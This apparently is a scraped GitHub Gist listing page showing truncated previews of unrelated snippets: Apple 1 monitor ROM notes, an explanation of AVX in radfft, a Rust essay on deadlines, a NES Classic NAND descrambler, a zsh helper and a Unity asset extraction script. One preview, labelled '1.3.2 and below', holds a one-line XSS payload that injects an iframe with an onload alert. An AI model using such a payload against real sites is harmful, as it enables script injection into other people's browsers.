Instantly share code, notes, and snippets.

View apple1-rom.txt
; the "monitor ROM" of an apple 1 fit in one page (256 bytes).
; this is my attempt to take the disassembled code, give names to the
; variables and routines, and try to document how it worked.
; an apple 1 had 8KB of RAM (more, if you hacked on the motherboard), and a
; peripheral chip that drove the keyboard and video. the video was run by a
; side processor that could treat the display as an append-only terminal that

why doesn't radfft support AVX on PC?

So there's two separate issues here: using instructions added in AVX and using 256-bit wide vectors. The former turns out to be much easier than the latter for our use case.

Problem number 1 was that you positively need to put AVX code in a separate file with different compiler settings (/arch:AVX for VC++, -mavx for GCC/Clang) that make all SSE code emitted also use VEX encoding, and at the time radfft was written there was no way in CDep to set compiler flags for just one file, just for the overall build.

[There's the GCC "target" annotations on individual funcs, which in principle fix this, but I ran into nasty problems with this for several compiler versions, and VC++ has no equivalent, so we're not currently using that and just sticking with different compilation units.]

The other issue is to do with CPU power management.


The case for deadlines

Rust aims to be the foundation of fast and robust software. A thorn in that side is the choice of timeout-centric APIs for I/O and multithreading. I posit this was a bad choice and it needs to be remedied as soon as possible before more APIs proliferate this (possibly accidental) design decision.

Motivating example: time limited network client request

Task: connect to a remote server, send a request, receive response with an end-to-end timeout of 10 seconds.

Attempt #1

View Cargo.toml
authors = ["SethDusek <>"]
name = "catch_match"
version = "0.1.0"
quasi = "0.28.0"
quasi_macros = "0.28.0"
View descramble.c
Scramble/descramble raw NAND dumps from the NES Classic.
plutoo 2016
Cheers to brizzo, derrek.
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#!/usr/bin/env python2
# butchered from
# under MIT license
from __future__ import print_function
import argparse
import os
import sys
import subprocess
View help-gnu.zsh
# Love you, GNU. But got a bit tired of this conversation pattern:
# % ln -h
# ln: invalid option -- 'h'
# Try 'ln --help' for more information.
# Don't worry. I fixed you for me.
# Eternally yours,

1.3.2 and below


'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
# Usage: <data_dir>
# The script relies on these utilities:
# 1. QuickBMS extractor (quickbms)
# See
# Source:
# 2. Unity BMS script to be used with QuickBMS (